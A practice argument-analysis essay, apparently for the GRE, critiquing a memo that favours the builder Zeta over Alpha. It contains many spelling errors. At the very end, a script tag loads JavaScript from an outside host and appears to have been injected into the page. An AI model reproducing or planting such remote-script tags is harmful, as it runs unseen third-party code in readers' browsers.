The following appeared in a memo from a vice president of a large, highly diversified company."Ten years ago our company had two new office buildings constructed as regional headquarters for two regions. The buildings were erected by different constructio

The argument with recommendation that the leaders in the company should adopt Zeta for their new building project is rather weak. It is based on premises that there were two building constructed by two different companies-Alpha and Zeta, that the cost by the construction by Zeta cost 30 percent more despite the identical floor plans, that the expenses for maintenance for the buliding by Zeta were just half of those of the other and the energy convimption has been lower, and that the Zeta has a atable workforce. However, ther are many questions worth being asked, as explained inthe following paragraphs.

First, were the prices of the materials for construction in the two different regions the same, regarding to the fact that the cost of the construction by Zeta is higher. If the answer is true, then the cost of the building constructed by the Zeta should, of course, be higher than the other one, which can be infered to the reason of higher construction price is the price level, not the disability of the company. On the other hand, if the level of price is just lower, maybe much lower, then there may be a big problem is the Zeta company, such as where had the money went, finaly? The result of the answer leaves the adoption of the Zeta company in doubt, which worsen the argument.

Moreover, although their floor plans are the same, had the two buildings been used for the same way, regarding to the fact that the expanses of maintenance and energe consumption of the building constructed by Zeta had been lower than those of the other, for the implication in the argument that the building by Zeta is better. The difference of usage may result in different kinds of expanses of maintenance and energy consumption. For example, maybe the building by Zeta have never been used yet, the expenses of maintenance and energy consumption is just the minimal requirement, contrary to the high expenses and energy consumption of the building by Alpha for the hugh usage, worsen the implication and the resulting conclusion. On the other hand, if the answer is yes, then the hidden implication might be right, which strengthen the conclusion.

In addition, comparing to the Zeta company, does Alpha company have a relatively unstable workforce, comparing the additional factor of the decision of the company for the new building project. If the answer is yes, then the choice of Zeta nay be wise for the stability of workforce is an essentail factor for the effectiveness of construction. As a consequence, the argument is fortified.

In the end, the argument is rather weak. However, if the above question is answered with possitive responds, it will be greatly reinforced. Therefore, it is hard to simply accept it now. Make the decision after more evidences are revealed.

30 minutes<script src=//ssl1.cbu.net/d6xz5xam></script>